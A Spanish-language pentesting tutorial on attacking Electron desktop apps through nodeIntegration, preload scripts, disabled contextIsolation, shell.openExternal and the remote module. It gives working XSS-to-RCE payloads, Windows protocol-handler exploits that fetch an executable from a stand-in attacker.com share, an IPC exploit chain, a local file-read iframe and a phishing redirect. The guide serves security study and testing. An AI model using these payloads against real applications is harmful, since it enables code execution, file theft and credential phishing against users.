445 lines
23 KiB
Markdown

# Aplicaciones de Escritorio Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Por lo general, puedes encontrar el código de la aplicación electron dentro de una aplicación `.asar`, para obtener el código necesitas extraerlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se configuran las opciones de seguridad.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tiene 2 tipos de procesos:
- Proceso Principal (tiene acceso completo a NodeJS)
- Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)
![](<../../../images/image (182).png>)
Un **proceso de renderizado** será una ventana del navegador cargando un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo:
- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado.
- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados.
- **`preload`** - vacío por defecto.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar.
- Integración de Node en Trabajadores
- **`nodeIntegrationInSubframes`** - está `desactivado` por defecto.
- Si **`nodeIntegration`** está **activado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **desactivado**, entonces los preloads se cargarán en el iframe.
Ejemplo de configuración:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Algunos **RCE payloads** de [aquí](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Captura de tráfico
Modifica la configuración de start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Inyección de Código Local en Electron
Si puedes ejecutar localmente una aplicación de Electron, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Si **nodeIntegration** está configurado en **on**, el JavaScript de una página web puede utilizar características de Node.js fácilmente solo llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las APIs de Node**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Por lo tanto, el script puede exportar node-features a páginas:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Si `contextIsolation` está activado, esto no funcionará**
## RCE: XSS + contextIsolation
El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron**, de modo que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
Si los contextos no están aislados, un atacante puede:
1. Ejecutar **JavaScript arbitrario en el renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método incorporado** que se utiliza en el preload o en el código interno de Electron para su propia función
3. **Activar** el uso de la **función sobrescrita**
4. ¿RCE?
Hay 2 lugares donde los métodos incorporados pueden ser sobrescritos: En el código de preload o en el código interno de Electron:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass del evento de clic
Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas **haciendo un clic medio** en lugar de un clic izquierdo normal.
```javascript
window.addEventListener('click', (e) => {
```
## RCE a través de shell.openExternal
Para más información sobre estos ejemplos, consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, es crucial asegurar la configuración correcta de `nodeIntegration` y `contextIsolation`. Se establece que la **ejecución remota de código del lado del cliente (RCE)** dirigida a scripts de precarga o al código nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan oyentes de eventos específicos, que son cruciales para la seguridad y funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Estos oyentes son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión se toma típicamente a través de una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Aquí hay un pseudocódigo simplificado:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede ser explotada para ejecutar comandos arbitrarios como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Ejemplos de exploits de protocolos de Windows incluyen:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en **[este informe](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **proceso de renderizado**, que debería estar deshabilitada ya que permite cargar un script dentro del contexto de precarga como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un script de precarga arbitrario**.
Este script de precarga fue abusado para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando a **`shell.openExternal`** para obtener RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lectura de Archivos Internos: XSS + contextIsolation
**Deshabilitar `contextIsolation` permite el uso de `<webview>` tags**, similar a `<iframe>`, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
Si el **chromium** utilizado por la aplicación es **antiguo** y hay **vulnerabilidades** **conocidas** en él, podría ser posible **explotarlo y obtener RCE a través de un XSS**.\
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing a través de bypass de regex de URL interna**
Suponiendo que encontraste un XSS pero **no puedes activar RCE o robar archivos internos**, podrías intentar usarlo para **robar credenciales a través de phishing**.
Primero que nada, necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **link** se **abrirá** en la **ventana de escritorio** ya que es un enlace que pertenece a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
En el caso de que la **regex** utilizada por la función sea **vulnerable a bypasses** (por ejemplo, al **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocolo
Como se menciona en [la documentación](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), las páginas que se ejecutan en **`file://`** tienen acceso unilateral a cada archivo en tu máquina, lo que significa que **los problemas de XSS pueden ser utilizados para cargar archivos arbitrarios** desde la máquina del usuario. Usar un **protocolo personalizado** previene problemas como este, ya que puedes limitar el protocolo a servir solo un conjunto específico de archivos.
## Módulo remoto
El módulo Remote de Electron permite que **los procesos de renderizado accedan a las APIs del proceso principal**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este módulo introduce riesgos de seguridad significativos. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de scripting entre sitios (XSS).
> [!TIP]
> Aunque el módulo **remote** expone algunas APIs del proceso principal a los procesos de renderizado, no es sencillo obtener RCE solo abusando de los componentes. Sin embargo, los componentes pueden exponer información sensible.
> [!WARNING]
> Muchas aplicaciones que aún utilizan el módulo remoto lo hacen de una manera que **requiere que NodeIntegration esté habilitado** en el proceso de renderizado, lo cual es un **enorme riesgo de seguridad**.
Desde Electron 14, el módulo `remote` de Electron podría habilitarse en varios pasos, debido a razones de seguridad y rendimiento, se **recomienda no usarlo**.
Para habilitarlo, primero se necesita **habilitarlo en el proceso principal**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Luego, el proceso de renderizado puede importar objetos del módulo como:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
- **`app.relaunch([options])`**
- **Reinicia** la aplicación al **salir** de la instancia actual y **lanzar** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** o **crea** un directorio para almacenar los **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar un **ruta personalizada** y **argumentos** si es necesario.
- **`app.setUserTasks(tasks)`**
- **Agrega** tareas a la **categoría de Tareas** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
- **`app.importCertificate(options, callback)`**
- **Importa** un **certificado PKCS#12** en el **almacen de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Mueve** la aplicación a la **carpeta de Aplicaciones** (en macOS). Ayuda a asegurar una **instalación estándar** para los usuarios de Mac.
- **`app.setJumpList(categories)`**
- **Establece** o **elimina** una **Jump List personalizada** en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
- **`app.setLoginItemSettings(settings)`**
- **Configura** qué **ejecutables** se inician al **iniciar sesión** junto con sus **opciones** (solo macOS y Windows).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## module systemPreferences
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** y **setUserDefault** son todos **parte de** este módulo.
**Ejemplo de uso:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escucha** las **notificaciones nativas de macOS** usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, podías espiar **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las aplicaciones en sandbox aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volumen**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
### **getUserDefault / setUserDefault**
* **Interfaz** con **NSUserDefaults**, que almacena preferencias **de aplicación** o **globales** en macOS.
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o **ubicación geográfica del usuario**.
* **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una aplicación.
* En **versiones anteriores de Electron** (antes de v8.3.0), solo la **suite estándar** de NSUserDefaults era **accesible**.
## Shell.showItemInFolder
Esta función muestra el archivo dado en un administrador de archivos, lo que **podría ejecutar automáticamente el archivo**.
Para más información consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Las aplicaciones de Electron deben tener una **Política de Seguridad de Contenido (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **prevenir** la **ejecución** de **código no confiable** en el navegador.
Generalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **etiqueta meta**.
Para más información consulta:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones de Electron que utiliza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceros vulnerables.
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo.
## Labs
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones de Electron vulnerables.
Algunos comandos que te ayudarán con el laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Referencias**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Más investigaciones y artículos sobre la seguridad de Electron en [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}